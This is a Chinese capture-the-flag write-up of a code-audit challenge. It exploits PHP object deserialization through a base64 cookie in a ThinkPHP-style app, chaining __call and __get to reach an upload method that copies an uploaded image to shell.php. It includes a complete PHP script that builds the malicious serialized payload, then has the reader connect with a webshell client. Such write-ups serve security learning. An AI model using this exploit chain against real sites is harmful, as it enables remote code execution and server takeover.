知识点:代码审计
可以看到cookie值是base64加密后的。 解密后: 试了一下改img的地址并不会目录穿越,那么这题大概率是反序列化,先扫一波,发现www.tar.gz 。
有idea说明会有配置信息,和一些历史记录。 作者给了两个断点提示我们。 可以从$profile=cookie('user'); 看出,确实是利用cookie。
接下来看一下上传图片的代码: 主要功能就是先判断我们的信息和之前的一不一样,不一样就重定向到首页,再判断文件是不是图片,然后把文件copy后移到upload下。
可以利用copy把.png转化为.php复制到目录下。那么怎么调用这个类中的upload_img方法?
在profile类中有两个方法__get和__call方法,__get方法是当访问不可访问的属性时调用,__call是访问不可访问的方法的时候调用。
这时候再回头看作者给的第二个断点,利用 $this->checker->index(); 触发__call,这时候在__call中又会调用不存在的方法index,触发了__get。我们设置$except = ['index' => 'upload_img'] ,这样就会调用upload_img方法了。
exp:
<?php
namespace app\web\controller;
class Profile
{
public $checker = 0;
public $filename_tmp = './upload/c47b21fcf8f0bc8b3920541abd8024fd/10fb15c77258a991b0028080a64fb42d.png';
public $filename = './upload/c47b21fcf8f0bc8b3920541abd8024fd/shell.php';
public $upload_menu;
public $ext = 1;
public $img;
public $except = ['index' => 'upload_img'];
}
class Register
{
public $checker;
public $registed = 0;
}
$profile = new profile();
$register = new Register();
$register->checker = $profile;
echo base64_encode(serialize($register));
?>
然后修改一下cookie,png文件就会变为php文件,最后用蚁剑连一下就ok了。
|